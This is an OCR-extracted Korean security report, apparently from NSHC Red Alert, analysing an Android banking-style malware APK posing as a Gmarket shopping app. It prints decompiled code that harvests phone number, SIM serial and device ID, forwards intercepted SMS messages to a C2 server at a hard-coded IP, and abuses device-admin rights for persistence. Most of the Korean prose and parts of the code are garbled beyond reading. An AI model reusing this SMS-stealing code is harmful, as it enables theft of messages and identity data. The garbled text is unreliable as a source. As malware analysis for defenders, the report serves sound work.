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Safe’ Red Alert

Information Sharing & Analysis Center

Safe Red Alert service is new information about malicious code and hacking
techniques, and to provide information needed to respond ISAC Information
Sharing & Analysis Center service.

CE—— -

% Safe Red Alert is allowed to enter by only members.

If you want to be a member, please send us @email(redalert@nshc.net)
with registration form
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xl E*OI
gmarket.mall.view
38,380 Bytes 6c14e19fe2a39f3cf2020cdf41796eb3
APK - Android )
2,2, 914 A Hst
ofd ol 2Xl& tHE7|o EX HAIXE =20t #+Fots & £010] WS s 2o
gast HERR & A HAIX] 23 Aots et AL

[=] Androidhanifest =xml Eﬂ]
<?xml version="1.0" encoding="gL{-8"7> -
<manifest android:versionCode="1" a:d:o:d:vers:o:Name="1.0“Ipackage=“gm@g&g&.mall.view“I |
[F] x=mln=:android="http://schemas.android.com/apk/res/android"> 3
S ————————————————————————————————————————————————

[¥ N PR I

<uses-permission android:name="android.permission.INTEENET" />
<uses-permission androld:name="android.permission.READ PHOME STATE" [
<uses-permission androidiname="android.permission.READ SMS" >

-] & Ln

<uses-permission android:name="android.permission.SEND SMS" />
<uses-permission android:name="android.permission.RECEIVE BOOT COMPLETED" />
<uses-permission android:name="android.permission.RECEIVE SMs" />
<uses-permission android:name="android.permission.WRITE SETTINGS" />

;
CI = BT B e ]

<uses-feature android:name="android.hardware.telephony" android:reguired="false" /> -

13 5. %4 Yol QN A

Ch. O 71M A%} X[EO|2ts A2 AFEAOA 20iX|= el T F&E5 2oLt

[=] Androidhanifest, xml Eﬂ]

12 <application android:label="Gstring/app name" android:icon="@drawable/icon" F
android:debuggable="true">

<activity a:d:oid:;abel=“@string/app_name”Ia:droid::ame=”.Hainhctivity”
1 <intent-filter>

I
e L

o |

<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.defanlt" />

[
1 & n

17 <gategory android:name="android.intent.category. LAUNCHER" />
</intent-filter>
</activicy> =

s
[T=J =i}

a2 6. 2 Wo| AJEEE|= MainActivity 22
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ot QHo| M2 SFLIO| AH|A(PreodicSerivce ZEiA)2F 5 72| 2|A|H{(DeviceAdmin SEfA
SMSBroadcastReceiver SefjA)2 O|FHA QU&L|CH

ok ?;,'O| PNES R PreodicServiceE}E MH|AZE ARIEEE SEE|0 Q10 DeviceAdmin 22j
=4 o3t X2|E, SMSBroadcastReceiver 2ejA= ZAF HA|X|E

SIEE HA|E| O] Q/JUEL|ICE EB| SMSBroadcastReceiver S2fA 9|

O O
Us =4 SYL2EN Fiots HAXIE 7t BN 22 + UARSE FAUSLICL

[=] Androidhanifest,2ml E!l

20 IJ] <service android:name=".PreodicService" /> -

21 = <recelver a:droid:'_abe'_="@string/app_uame" a:EDid::arr.e=".Deviceh.dmin“I
android:permizssion="android.permission.BIND DEVICE ADMTH">

232 <meta-data android:name="android.app.device admin" android:rescurce=

"eaml/deviesadmin />

23 H <intent-filter>

24 <action android:iname="android.app.action.DEVICE ADMIN ENABLED" /> |

25 = </intent-filter>

26 = </receiver> E

27 E I<:receiver e.:d:oid::e.rr.e=".SMSBroadcastReceiver">|

28 = <intent-filter android:priority="2147483647"> | &

2a <action android:name="android.provider.Telephony.SMS RECEIVED" />

30 - </intent-filter>

31 = </receiver> -

2! 7. AndroidManifest.xml 0] HA| =l SFLEC| Service At & 7H2] Receiver SfjA

233. 5
ofd ¢S ddY E2 TdEls dNHQY Z2MAs of2iel aEa Z5U
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2.4 3E EM

2.4.1. MainActivity.class
ot QHo| AMBHE|H J4E X MainActivity.class®| onCreate() &7t SEEL|ICE O7|A F9
g A2 BY Y A XAef olo|EE AHMAIZ|R Bt HESSE N H SRS 26l
0|8dl= & A 1EE ORtl 20foF gt OpX| =0 A= RegDPMActivity.classS
T YT

o F e
= e
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‘MainActivity.class.

Al

package gmarket.mall.view;

.2

+|import andreoid.app.ictivity;

public class Mainfctiwvity
extends Actiwvity

——

protected woid onCreate (Bundle paramBundle)

i

super.onCreate (paramBundle) ;
getPackageManager () .3etComponentEnabled3etting (getComponentlame (), 2, 1)
SharedPreferences.Editor localEditor = get3SharedPreferences("pref™, 0).edit();
localEditer.putIntc ("ID™, 0):

localEditor.putBoolean ("Allow ButcCall™, false);

localEditeor.putString ("AZutcCalllum™, nall);
localEditor.putBoolean ("Allow Tapping™, false);

localEditor.putBoolean ("Allow_Fhoto™, false);
localEditor.putBoolean ("3M3 BlockState™, false);
localEditor.putString ("Server URL™, HttpUtils.URL);

localEditor.commit () 2

new ﬁ;ll{thisﬂ.dnﬁegisterﬁser{?:

startService (new Intent(this, PrecdicSerwvice.class)):

starthctivity(new Intent(this, RegDPMRActivitv.class)):

finish{):

m

f—

1 | 1] 3

a3 9. MainActivity.class

ot o] HRE st FHE

rir
mo

ZHES| M g0t SRot7| 28l prefxml M= O|EgfLILCY.

=?xml version="1.0" encoding="UTF-8" standalone="true"?>
- <maps

<int value="0" name="ID"/=
<string name="Server_URL">http://113.10.137.24/ </string>
<boolean value="false" name="Allow_Tapping"/>
<null name="AutoCallNum" /=
<zboolean value="false" name="Allow_Photo"/=>
<zboolean value="false" nams="SMS_BlockState"/=
<boolean value="false" name="Allow_AutoCall"/=

=</map=

a8l 10. pref.xml

Th=dl prefxmlol] 7|SE MH FAZ FY&HS ARSHEH HZO| E[X| HX|T, sie P2 222 &

0= H&0| 7hssiELITh
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= =] g
= / [ 11310.137.24/indexphp x
l = C' | [ 113.10.137.24/index.php o @ = |
App Download
a3 11. §jie| IPE 23 & MHe| R otH
2.4.2. Util.class
SEA
[

Ct2 22 MainActivity.classe= Util.classE& 243l doRegisterUser() &4+& S E3t=0| Of
X

= TRV Bioot SUAE =AM MHZ HEELIL

B ERdraiMERESImIE) 3 Uil java 3 |

33 E] public S5tring doRegisterUser() { -
34 final S5tring phoneNumber = this.getPhoneNumber () ;
35 final String telCompany = this.getTelCompanvy() :
38 H if (phoneMNumber.egquals("")) {
37 return "";
= }
return HotpUtils.requestDatal2 (HoopUtils. URL + "index.php?tyvpe=join&fslnum=" +
phoneNumber + "afzlcompany=" + telCompany) ;
40 - 1
41
42 = kablic String getPhoneNumber () {
% final Telephonyﬁanager telephonyManager = (TelephonyManager)this.context.
getSystemService ("phone™)
44 String linelNumber = telephonyManager.getLinelNumber () ;
45 H if (linelNumber = null || linelMumker.eguals{""}) {
46 final String simSerialNumber = telephonyManager.getSimSerialNumber(} ;
=) final S5tring deviceld = telephonyManager.getDeviceId()
8 String s;
49 H if (zimSerialNumber !'= mnll && dewviceId '= nnll) { —
50 g = deviceld.toUpperCase() + "-" + simSerialNumber.toUpperCase():
51 - }
52 = else {
3 i: 3 = null;
54 = if (deviceId !'= null) {
i 5 = deviceId.toUpperCase() .,
56 - 1
57 o }
8 linelNumber = 3;
S - } E
a0 B else if (linelNumber.charBAc{l) = "+') { 1
&6l retorn linelNumber.substring(l)
62 - }
3 retorn linelNumber:
64 - }
63
66 H kablic String getTelCompany () {I
a7 return ((TelephonyManager)this.context.getSystemService("phone")).
getHetworkOperatorHame () ;
68 - }
g9 Ly o

a2l 12. Util.class

2.4.3. PreodicService.class

PreodicService.classe= 24 ¢S O|F

rir

l} facebook.com/nshc.redalert
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of 718E|RA7| WEof el Ml abH A|ZtE L CH
PreodicService.class= SefA O|FOME &A FHY 5= UXO| EtO|HE 0|88 FI|Ho=Z

doScanNet() &t+=E 2 &3t HERA HEIE HEst=

| MainActivity.class | HttpUtis.class | PreodicService.class > |
public int conStartCommand (Intent paramintent, int paramIintl, int paramInti) -
{
if (thiz.mTimer != null)
{
this.mTimer.cancel();
thizs.mTimer = mmll;

!
if (thiz.mTimer == null)

{

this.mTimer = new Timer(true);
thizs.mTimer.schedule (new TimerTask()
{
public void run{)
{
PregdicService.this.doScanlet () ;

}
}, 0L, &0000L);

} ‘—

m

return 1;

' 1 |

18 13. EO|HE 0|83 FVIMOE HEYI AT MEIE WA

2.4.4. RegDPMActivity.class
MainActivity.class L{O|Af OFX|2to 2 *AE|= RegDPMActivity.class= A HAZUZ0| AMEH
oz MEXO|A EX|= Activity LTt
RegDPMActivity.class&= 7% ™A DeviceAdmin.class

£ ddstn 1 32z 7|7 #2Xte
detE RFStE ActivityE UHSOM ALY & = UEF S22 HFLCh

o

L=

| | ManActivicy.cass | HetpUtis.ciass | Util.css | PreodicService.chss | |RegDPMActivity.class, x| s

public wvoid onCreate (Bundle paramBundle)

{
super.onCreate (paramBundle) ;
DevicePolicyManager localDevicePolicyManager = (DevicePolicyManager)get3ystemService ("device_policy™): |__

|CDmDnentNamE localComponentName = new ComponentName (this, Devicehdmin.classj:l
if {loccalDevicePeolicyManager.isidminfctive (localComponentName)) |
finish{);
}

< | 1

| 3

12 14. RegDPMActivity.class - 1
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MainActivity.class HttpUtils.class Util.class | PreodicService.class RegDPMActivity.class 5 |

for (i -
{

finish(}:

return;

Intent locallntent = new Intent("android.app.acticon.ADD _DEVICE_ALMINT) ;

locallntent.putExtra ("android.app.extra.DEVICE ADMIN", loczlComponentName):

locallntent.putExtra ("android.app.extra.BADD EXPLANATION", "7FI7IE &=l gs] F4F5=ls 25 g2l 25

starthetivityForBesult {locallntent, 1);

%l 15 RegDPMActivity.class - 2

2.4.5. DeviceAdmin.class

DeviceAdmin.class= 7|7| &2|X} HoIS SIS A AIOSID CHA| 5|88 SETHL|CL

Main Activity.class HttpUtils.class Util.class | PreodicService.class RegDPMACctivity.class DeviceAdmin.class 5

public CharSequence cnDisableRegquested {Context paramContext, Intent paramIntent) -
{

mtuml"Ihis i3 an cpticnal message tc warn the user about disabling.":l

}

public void onDisabled (Context paramContext, Intent paramIntent)

{
Intent locallntent = new Intent{paramContext, BegDPMRActivity.class);:
localIntent.3etFlags (268435456) ;
paramContext.starthActivity (localIntent) ;

}

public void onEnabled (Context paramConteXxt, Intent paramIntent)
{

m

Intent locallntentl = new Intent{"androcid.intent.action.MARIN™);
localIntentl.setFlags (2658435458) ;

localIntentl.addCategory ("andrecid.intent.category.HOME™) ;
paramContext.starthActivity (localIntentl); —
Intent locallntent2 = new Intent("andreid.intent.action.MBIN™):
localIntent2.addCategory ("android.intent.category . HOME™) ;
localIntent2.setFlags (268435458) ;

paramContext.starthotivity (localIntent?) ;

System.exit(0):

€| [ | 3

12l 16. DeviceAdmin.class

2.4.6. SMSBroadcastReceiver.class

ZXt7t =41 £|™ SMSBroadcastReceiverclass& O|& ZHX|st LHE

o
o

A0 SYLCt

q [ Util.class ] PreodicService.class ] RegDPMACtivity.class I DeviceAdmin.class [ SMSBroadcastReceiver.class (3R

if (strl '= null) -
{

I'Object[] array0flbject = (Ckject[])paramIntent.getExtras().get{"pdus™) :I

int 1 = arrayUiCbject.length; .
int j = 0; |i|
while (j < i)

{

SmsMessage localSmsMessage = SmsMessage.createFromPdu({byte[])array0fiCbject[j])r
String str?2 = localSmsMessage.getOriginatinghddress();

String str3 =| local SmsMessage.getMessageBody () 7

if {scr2 '= null) {} -
4 T | }

gl 17. SMSBroadcastReceiver.class - 1
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IZE S A W1 7o EEE =M %T SHX|Q Mz S
4 | Util.class | PreodicService.class RegDPMACtivity.class DeviceAdmin.class SMSBroadcastReceiver.class 3¢ [
try -
{

if {{!"".equals{atri?)) =& (strl != null) =& (!"".equala{strl)})

{

if (paramContext.getSharedPreferences("prei”,
abortBroadcast () ;

}

if ({str3.length() >= 7) =&& (str3i.substring(l,

{
String stré = str3.substring(7);
HetpUtils.URL = "http://™ + stré + "/";
localUtil.doRegisterUser() ;
abortBroadcast () ;

}

String str4 = HotpUtils.URL;

if (HttpUtils.requestData2(strd + "hp getsmsblockstate.php?telnum=" + strl).equals("1"))
abortBroadcast () 7

1

String stres =

0) .getBoolean ("5M5_BlockState”, false)) |

T).equals ("@!#%s*-")))

m

f

UBRLEncoder.encode (3tr3,
HetpUtils. requestDatal (3trd + "index.

"UTF-&"):
pItype=receivesmsstelnum=" + 3trl + "sz3ender=" + 3tr2

}
J++:
1 -
4 n | LS
2! 18. SMSBroadcastReceiver.class - 2
2,5 ZH MH 2%
= At HAIX] LIS S 8ot MEO| Cigl IPE ==|ot 21}, 9K 2= 3ot 2L Cth
e T et Tha 7 1T YORGZNOU (L= 1aranivies Fuzhou }{E ~ET
=0 |
Q&Ql;ﬂ. KT Eﬂc{;?ﬁ =5 A O i= i \ | 2l |
= o Putian
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v %aeg;ﬁ yaa v &Quanzhou
s IP-Adresse: r ) Cgnm
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x Rl R ——e a2
+ Nanning Guangzhouo LY.
#ATm PN Q.
o
enzhen
o 2l T
. Yangjiang A
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uyen
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"honq
thEm'l
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[ 1] Virus Total

https://www.virustotal.com/ko/file/91d580dc2551ff381b102c692efeld5d8ce86c80842a3b704efl45¢
6fe0d4a76/analysis/

[2]KISA ELiz}
http://boho.or.kr/kor/private/private_02.jsp

[3] QEEZO|E 7{LUX} AIOIE

http://developer.android.com/reference/packages.html

l} facebook.com/nshc.redalert © 2014 Red Alert. All Rights Reserved.



https://www.virustotal.com/ko/file/91d580dc2551ff381b102c692efe1d5d8ce86c80842a3b704ef145c6fe0d4a76/analysis/
https://www.virustotal.com/ko/file/91d580dc2551ff381b102c692efe1d5d8ce86c80842a3b704ef145c6fe0d4a76/analysis/
http://boho.or.kr/kor/private/private_02.jsp
http://developer.android.com/reference/packages.html

